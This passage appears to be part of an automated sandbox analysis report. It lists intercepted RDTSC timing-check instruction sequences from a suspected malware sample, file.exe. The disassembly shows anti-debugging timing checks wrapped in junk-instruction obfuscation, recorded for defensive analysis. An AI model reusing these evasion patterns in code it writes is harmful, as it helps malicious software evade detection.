0x00000063 push edx 0x00000064 jnl 00007FDD2537F156h 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115C72D second address: 115C739 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1153AF0 second address: 1153B11 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FDD2537F167h 0x00000008 jo 00007FDD2537F162h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1153B11 second address: 1153B17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117BB2F second address: 117BB39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FDD2537F156h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117BB39 second address: 117BB52 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FDD24CC634Ch 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117BB52 second address: 117BB76 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD2537F168h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b ja 00007FDD2537F156h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117BE90 second address: 117BE9A instructions: 0x00000000 rdtsc 0x00000002 ja 00007FDD24CC6346h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117C2C9 second address: 117C2CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117C2CD second address: 117C2D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117C5A6 second address: 117C5C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FDD2537F164h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117C8C8 second address: 117C8EA instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FDD24CC6346h 0x00000008 jmp 00007FDD24CC634Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jne 00007FDD24CC6346h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1174774 second address: 117478B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDD2537F15Dh 0x00000009 jne 00007FDD2537F156h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117478B second address: 117478F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1150614 second address: 1150623 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jg 00007FDD2537F156h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1150623 second address: 1150647 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FDD24CC6359h 0x0000000b popad 0x0000000c pushad 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117D21F second address: 117D23E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FDD2537F160h 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c jc 00007FDD2537F156h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117D23E second address: 117D264 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FDD24CC6351h 0x00000013 js 00007FDD24CC6346h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117D264 second address: 117D278 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD2537F15Dh 0x00000007 push esi 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117D3E2 second address: 117D3E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117D3E7 second address: 117D420 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FDD2537F156h 0x0000000a jmp 00007FDD2537F163h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FDD2537F169h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117D420 second address: 117D424 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117D7F5 second address: 117D7F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11466DF second address: 11466F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push edi 0x00000006 pop edi 0x00000007 jmp 00007FDD24CC634Ah 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1181E78 second address: 1181E7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1181E7C second address: 1181E92 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD24CC6352h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11820C3 second address: 11820C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118549D second address: 11854A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11854A3 second address: 11854A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11854A7 second address: 11854CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD24CC6357h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007FDD24CC6346h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11854CC second address: 11854D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11885E2 second address: 11885F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDD24CC634Eh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11885F6 second address: 118861C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDD2537F162h 0x00000009 popad 0x0000000a jnc 00007FDD2537F15Ch 0x00000010 jp 00007FDD2537F156h 0x00000016 push ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118889A second address: 11888B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDD24CC6355h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1188A51 second address: 1188A5C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jnl 00007FDD2537F156h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1188D0B second address: 1188D0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118A7EE second address: 118A7F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118A7F2 second address: 118A800 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a popad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118A800 second address: 118A824 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FDD2537F15Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FDD2537F164h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118C380 second address: 118C384 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118CED4 second address: 118CEDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118D06F second address: 118D08B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDD24CC6358h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118D14F second address: 118D159 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FDD2537F156h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118ED89 second address: 118ED9C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD24CC634Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118ED9C second address: 118EDA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118FF8B second address: 118FF91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118FF91 second address: 118FF96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118FF96 second address: 118FF9B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118FCF2 second address: 118FCF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118FF9B second address: 118FFA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118FCF6 second address: 118FD12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FDD2537F161h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118FFA1 second address: 119004C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007FDD24CC634Eh 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push edx 0x00000011 call 00007FDD24CC6348h 0x00000016 pop edx 0x00000017 mov dword ptr [esp+04h], edx 0x0000001b add dword ptr [esp+04h], 0000001Dh 0x00000023 inc edx 0x00000024 push edx 0x00000025 ret 0x00000026 pop edx 0x00000027 ret 0x00000028 jmp 00007FDD24CC6358h 0x0000002d and di, 8740h 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ecx 0x00000037 call 00007FDD24CC6348h 0x0000003c pop ecx 0x0000003d mov dword ptr [esp+04h], ecx 0x00000041 add dword ptr [esp+04h], 0000001Dh 0x00000049 inc ecx 0x0000004a push ecx 0x0000004b ret 0x0000004c pop ecx 0x0000004d ret 0x0000004e mov dword ptr [ebp+122D25E7h], edx 0x00000054 call 00007FDD24CC6352h 0x00000059 pop edi 0x0000005a push 00000000h 0x0000005c xor dword ptr [ebp+122D195Ah], esi 0x00000062 add si, 7425h 0x00000067 xchg eax, ebx 0x00000068 pushad 0x00000069 pushad 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118FD12 second address: 118FD16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119004C second address: 1190089 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDD24CC634Dh 0x00000009 popad 0x0000000a jmp 00007FDD24CC6359h 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jnc 00007FDD24CC6346h 0x0000001a jng 00007FDD24CC6346h 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11944BF second address: 11944C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1191330 second address: 1191345 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD24CC6351h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1191EEF second address: 1191EFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jg 00007FDD2537F156h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119287E second address: 1192883 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119BAFE second address: 119BB82 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007FDD2537F161h 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push edx 0x00000011 call 00007FDD2537F158h 0x00000016 pop edx 0x00000017 mov dword ptr [esp+04h], edx 0x0000001b add dword ptr [esp+04h], 00000015h 0x00000023 inc edx 0x00000024 push edx 0x00000025 ret 0x00000026 pop edx 0x00000027 ret 0x00000028 stc 0x00000029 push edi 0x0000002a mov di, 187Dh 0x0000002e pop edi 0x0000002f mov bx, ax 0x00000032 push 00000000h 0x00000034 pushad 0x00000035 jg 00007FDD2537F159h 0x0000003b jmp 00007FDD2537F15Fh 0x00000040 popad 0x00000041 push 00000000h 0x00000043 push 00000000h 0x00000045 push ebp 0x00000046 call 00007FDD2537F158h 0x0000004b pop ebp 0x0000004c mov dword ptr [esp+04h], ebp 0x00000050 add dword ptr [esp+04h], 00000018h 0x00000058 inc ebp 0x00000059 push ebp 0x0000005a ret 0x0000005b pop ebp 0x0000005c ret 0x0000005d xchg eax, esi 0x0000005e push edi 0x0000005f push ecx 0x00000060 push eax 0x00000061 push edx 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119CC14 second address: 119CC23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD24CC634Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119AC8E second address: 119ACFE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007FDD2537F163h 0x0000000c pop ecx 0x0000000d popad 0x0000000e nop 0x0000000f movsx ebx, ax 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov dword ptr fs:[00000000h], esp 0x00000020 mov eax, dword ptr [ebp+122D0079h] 0x00000026 push 00000000h 0x00000028 push esi 0x00000029 call 00007FDD2537F158h 0x0000002e pop esi 0x0000002f mov dword ptr [esp+04h], esi 0x00000033 add dword ptr [esp+04h], 00000015h 0x0000003b inc esi 0x0000003c push esi 0x0000003d ret 0x0000003e pop esi 0x0000003f ret 0x00000040 jp 00007FDD2537F15Ch 0x00000046 add dword ptr [ebp+122D2486h], edx 0x0000004c mov ebx, 3671C282h 0x00000051 push FFFFFFFFh 0x00000053 mov dword ptr [ebp+122D3AAFh], edi 0x00000059 push eax 0x0000005a push eax 0x0000005b push edx 0x0000005c push ebx 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119ACFE second address: 119AD03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119BCE6 second address: 119BCF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FDD2537F156h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119DC8C second address: 119DC96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119BCF0 second address: 119BCF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119DC96 second address: 119DCF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FDD24CC6346h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d ja 00007FDD24CC6350h 0x00000013 nop 0x00000014 mov edi, 367628ADh 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push eax 0x0000001e call 00007FDD24CC6348h 0x00000023 pop eax 0x00000024 mov dword ptr [esp+04h], eax 0x00000028 add dword ptr [esp+04h], 0000001Ch 0x00000030 inc eax 0x00000031 push eax 0x00000032 ret 0x00000033 pop eax 0x00000034 ret 0x00000035 push 00000000h 0x00000037 mov dword ptr [ebp+1243EBFFh], edx 0x0000003d xchg eax, esi 0x0000003e push esi 0x0000003f push eax 0x00000040 push edx 0x00000041 jnc 00007FDD24CC6346h 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119BCF4 second address: 119BD0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007FDD2537F15Ah 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119DE47 second address: 119DE4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119DE4C second address: 119DE70 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD2537F15Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FDD2537F15Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119FE0C second address: 119FE2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push esi 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FDD24CC6355h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A1CDA second address: 11A1CE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A2C24 second address: 11A2CA3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD24CC634Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007FDD24CC6348h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 0000001Dh 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 mov edi, dword ptr [ebp+122D1B24h] 0x0000002c push 00000000h 0x0000002e mov di, 0ACFh 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ebp 0x00000037 call 00007FDD24CC6348h 0x0000003c pop ebp 0x0000003d mov dword ptr [esp+04h], ebp 0x00000041 add dword ptr [esp+04h], 00000019h 0x00000049 inc ebp 0x0000004a push ebp 0x0000004b ret 0x0000004c pop ebp 0x0000004d ret 0x0000004e mov ebx, 53C7C357h 0x00000053 pushad 0x00000054 xor dword ptr [ebp+12440C4Fh], eax 0x0000005a mov cx, si 0x0000005d popad 0x0000005e push eax 0x0000005f jo 00007FDD24CC634Eh 0x00000065 push eax 0x00000066 push eax 0x00000067 push edx 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A3F7B second address: 11A3F81 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A4E44 second address: 11A4ED1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD24CC6355h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007FDD24CC634Ah 0x00000010 jmp 00007FDD24CC6354h 0x00000015 popad 0x00000016 nop 0x00000017 push 00000000h 0x00000019 push eax 0x0000001a call 00007FDD24CC6348h 0x0000001f pop eax 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 add dword ptr [esp+04h], 00000018h 0x0000002c inc eax 0x0000002d push eax 0x0000002e ret 0x0000002f pop eax 0x00000030 ret 0x00000031 jbe 00007FDD24CC6352h 0x00000037 jnl 00007FDD24CC634Ch 0x0000003d push 00000000h 0x0000003f movsx edi, dx 0x00000042 push 00000000h 0x00000044 pushad 0x00000045 add edi, 5BB1FC15h 0x0000004b mov dword ptr [ebp+1243EBFFh], eax 0x00000051 popad 0x00000052 push eax 0x00000053 jnc 00007FDD24CC6358h 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A4ED1 second address: 11A4ED5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A5EAE second address: 11A5EB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A4FFC second address: 11A5009 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A5009 second address: 11A500D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A500D second address: 11A5013 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A5013 second address: 11A501A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A604A second address: 11A6066 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD2537F15Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jp 00007FDD2537F156h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A6E02 second address: 11A6E06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A501A second address: 11A508F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edx 0x0000000b call 00007FDD2537F158h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], edx 0x00000015 add dword ptr [esp+04h], 0000001Bh 0x0000001d inc edx 0x0000001e push edx 0x0000001f ret 0x00000020 pop edx 0x00000021 ret 0x00000022 pushad 0x00000023 mov dword ptr [ebp+122D1BBAh], ebx 0x00000029 mov si, cx 0x0000002c popad 0x0000002d push dword ptr fs:[00000000h] 0x00000034 jno 00007FDD2537F162h 0x0000003a mov dword ptr fs:[00000000h], esp 0x00000041 mov ebx, dword ptr [ebp+12440C58h] 0x00000047 mov eax, dword ptr [ebp+122D16D1h] 0x0000004d add dword ptr [ebp+122D2203h], esi 0x00000053 push FFFFFFFFh 0x00000055 push eax 0x00000056 pushad 0x00000057 pushad 0x00000058 jp 00007FDD2537F156h 0x0000005e push eax 0x0000005f push edx 0x00000060 rdtsc
